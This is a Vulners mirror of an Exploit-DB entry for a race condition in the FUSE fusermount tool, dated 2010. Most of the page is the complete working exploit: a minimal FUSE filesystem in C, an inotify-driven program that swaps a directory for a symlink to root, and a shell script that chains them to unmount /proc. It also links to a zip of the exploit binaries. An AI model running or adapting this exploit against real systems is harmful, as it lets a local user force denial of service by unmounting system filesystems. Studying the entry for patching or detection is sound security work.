Lucene search
K

FUSE fusermount Tool - Race Condition

🗓️ 02 Nov 2010 00:00:00Reported by halfdogType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

FUSE fusermount tool prone to race-condition vulnerability. Allows local attacker to cause denial of service by unmounting any system filesystem. See source for more details

Code
source: https://www.securityfocus.com/bid/44623/info
              http://www.halfdog.net/Security/FuseTimerace/

FUSE fusermount tool is prone to a race-condition vulnerability.

A local attacker can exploit this issue to cause a denial of service by unmounting any filesystem of the system. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34953.zip




--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  Minimal userspace file system demo, compile using
 *  gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
 *
 *  See also /usr/include/fuse/fuse.h
 */

#define FUSE_USE_VERSION 28

#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static FILE	*logFile;

static char	*fileNameNormal="/file";
static char	*fileNameCharDev="/chardev";
static char	*fileNameNormalSubFile="/dir/file";

static char	*realFileName="./RealFile";
static int	realFileHandle=-1;

static int io_getattr(const char *path, struct stat *stbuf) {
  fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
      path, stbuf);
  fflush(logFile);

  int res=-ENOENT;
  memset(stbuf, 0, sizeof(struct stat));
  if(strcmp(path, "/") == 0) {
    stbuf->st_mode=S_IFDIR|0755;
    stbuf->st_nlink=2;
    res=0;
  } else if(strcmp(path, fileNameCharDev)==0) {
//    stbuf->st_dev=makedev(5, 2);
    stbuf->st_mode=S_IFCHR|0777;
    stbuf->st_rdev=makedev(5, 2);
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=100;
    res=0;
  } else if(strcmp(path, "/dir")==0) {
    stbuf->st_mode=S_IFDIR|S_ISGID|0777;
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=1<<12;
    res=0;
  } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    stbuf->st_mode=S_ISUID|S_IFREG|0777;
    stbuf->st_size=100;

    if(realFileName) {
      if(fstat(realFileHandle, stbuf)) {
        fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
            realFileName, errno, strerror(errno));
      } else {
// Just change uid/suid, which is far more interesting during testing
        stbuf->st_mode|=S_ISUID;
        stbuf->st_uid=0;
        stbuf->st_gid=0;
      }
    } else {
      stbuf->st_mode=S_ISUID|S_IFREG|0777;
      stbuf->st_size=100;
    }
    stbuf->st_nlink=1; // Number of hard links
    res=0;
  }

  return(res);
}


static int io_readlink(const char *path, char *buffer, size_t length) {
  fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
      path, buffer, (long)length);
  fflush(logFile);
  return(-1);
}


static int io_unlink(const char *path) {
  fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
  fflush(logFile);
  return(0);
}


static int io_rename(const char *oldPath, const char *newPath) {
  fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
      oldPath, newPath);
  fflush(logFile);
  return(0);
}


static int io_chmod(const char *path, mode_t mode) {
  fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
  fflush(logFile);
  return(0);
}


static int io_chown(const char *path, uid_t uid, gid_t gid) {
  fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
  fflush(logFile);
  return(0);
}


/** Open a file. This function checks access permissions and may
 *  associate a file info structure for future access.
 *  @returns 0 when open OK
 */
static int io_open(const char *path, struct fuse_file_info *fi) {
  fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
  fflush(logFile);

  return(0);
}


static int io_read(const char *path, char *buffer, size_t length,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
      path, buffer, (long)length, (long)offset, fi);
  fflush(logFile);

  if(length<0) return(-1);
  if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    if(!realFileName) {
      if((offset<0)||(offset>4)) return(-1);
      if(offset+length>4) length=4-offset;
      if(length>0) memcpy(buffer, "xxxx", length);
      return(length);
    }
    if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
      fprintf(stderr, "read: seek on %s failed\n", path);
      return(-1);
    }
    return(read(realFileHandle, buffer, length));
  }
  return(-1);
}


static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
      path, buf, filler, ((long)offset), fi);
  fflush(logFile);

  (void) offset;
  (void) fi;
  if(!strcmp(path, "/")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, fileNameCharDev+1, NULL, 0);
    filler(buf, "dir", NULL, 0);
    filler(buf, fileNameNormal+1, NULL, 0);
    return(0);
  } else if(!strcmp(path, "/dir")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, "file", NULL, 0);
    return(0);
  }
  return -ENOENT;
}


static int io_access(const char *path, int mode) {
  fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
      path, mode);
  fflush(logFile);
  return(0);
}


static int io_ioctl(const char *path, int cmd, void *arg,
    struct fuse_file_info *fi, unsigned int flags, void *data) {
  fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
      path, cmd, arg, fi, flags, data);
  fflush(logFile);
  return(0);
}


static struct fuse_operations hello_oper = {
  .getattr	= io_getattr,
  .readlink	= io_readlink,
// .getdir =  deprecated
// .mknod
// .mkdir
  .unlink	= io_unlink,
// .rmdir
// .symlink
  .rename	= io_rename,
// .link
  .chmod	= io_chmod,
  .chown	= io_chown,
// .truncate
// .utime
  .open = io_open,
  .read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
  .readdir	= io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
  .access	= io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
 .ioctl = io_ioctl,
// .poll
};

int main(int argc, char *argv[]) {
  char	buffer[128];

  realFileHandle=open(realFileName, O_RDWR);
  if(realFileHandle<0) {
    fprintf(stderr, "Failed to open %s\n", realFileName);
    exit(1);
  }

  snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
  logFile=fopen(buffer, "a");
  if(!logFile) {
    fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
    return(1);
  }
  fprintf(logFile, "Starting fuse init\n");
  fflush(logFile);

  return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---

--- DirModifyInotify.c ---
/** This program waits for notify of file/directory to replace
 *  given directory with symlink.
 *
 *  Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
 *      --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
 *
 *  Parameters:
 *  * --MoveTarget: If set, move path to that target location before
 *    attempting to symlink.
 *  * --LinkTarget: If set, the MovePath is replaced with link to
 *    this path
 *
 *  Compile:
 *  gcc -o DirModifyInotify DirModifyInotify.c
 *
 *  Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
 *  
 *  This software is provided by the copyright owner "as is" to
 *  study it but without any expressed or implied warranties, that
 *  this software is fit for any other purpose. If you try to compile
 *  or run it, you do it solely on your own risk and the copyright
 *  owner shall not be liable for any direct or indirect damage
 *  caused by this software.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>

int main(int argc, char **argv) {
  char	*movePath=NULL;
  char	*newDirName=NULL;
  char	*symlinkTarget=NULL;

  int	argPos;
  int	handle;
  int	inotifyHandle;
  int	inotifyDataSize=sizeof(struct inotify_event)*16;
  struct inotify_event *inotifyData;
  int	randomVal;
  int	callCount;
  int	targetCallCount=0;
  int	verboseFlag=0;
  int	result;

  if(argc<4) return(1);
  inotifyHandle=inotify_init();

  for(argPos=1; argPos<argc; argPos++) {
    if(!strcmp(argv[argPos], "--Verbose")) {
      verboseFlag=1;
      continue;
    }

    if(!strcmp(argv[argPos], "--LinkTarget")) {
      argPos++;
      if(argPos==argc) return(1);
      symlinkTarget=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MovePath")) {
      argPos++;
      if(argPos==argc) return(1);
      movePath=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MoveTarget")) {
      argPos++;
      if(argPos==argc) return(1);
      newDirName=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--Watch")) {
      argPos++;
      if(argPos==argc) return(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
      result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
      if(result==-1) {
        fprintf(stderr, "Failed to add watch path %s, error %d\n",
            argv[argPos], errno);
        return(1);
      }
      continue;
    }

    if(!strcmp(argv[argPos], "--WatchCount")) {
      argPos++;
      if(argPos==argc) return(1);
      targetCallCount=atoi(argv[argPos]);
      continue;
    }

    fprintf(stderr, "Unknown option %s\n", argv[argPos]);
    return(1);
  }

  if(!movePath) {
    fprintf(stderr, "No move path specified!\n" \
        "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
        "    --LinkTarget [path]\n");
    return(1);
  }

  fprintf(stderr, "Using target call count %d\n", targetCallCount);

// Init name of new directory if not already defined.
  if(!newDirName) {
    newDirName=(char*)malloc(strlen(movePath)+256);
    sprintf(newDirName, "%s-moved", movePath);
  }
  inotifyData=(struct inotify_event*)malloc(inotifyDataSize);

  for(callCount=0; ; callCount++) {
    result=read(inotifyHandle, inotifyData, inotifyDataSize);
    if(callCount==targetCallCount) {
      rename(movePath, newDirName);
//      rmdir(movePath);
      if(symlinkTarget) symlink(symlinkTarget, movePath);
      fprintf(stderr, "Move triggered at count %d\n", callCount);
      break;
    }
    if(verboseFlag) {
      fprintf(stderr, "Received notify %d, result %d, error %s\n",
          callCount, result, (result<0?strerror(errno):NULL));
    }
    if(result<0) {
      break;
    }
  }
  return(0);
}
--- EOF ---

--- Test.sh ---
#!/bin/bash
#
# Copyright (c) halfdog <me (%) halfdog.net>
#
# This software is provided by the copyright owner "as is" to
# study it but without any expressed or implied warranties, that
# this software is fit for any other purpose. If you try to compile
# or run it, you do it solely on your own risk and the copyright
# owner shall not be liable for any direct or indirect damage
# caused by this software.

mkdir -p tmp/proc
(cd tmp/proc; sleep 1; ../../FuseMinimal .) &
(./DirModifyInotify --Watch tmp/proc --Watch /etc/mtab --WatchCount 8 --MovePath tmp --LinkTarget /) &
sleep 3
fusermount -u -z /proc/
# Check that proc was unmounted by running ps
ps aux
--- EOF ---

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Nov 2010 00:00Current
7.4High risk
Vulners AI Score7.4
33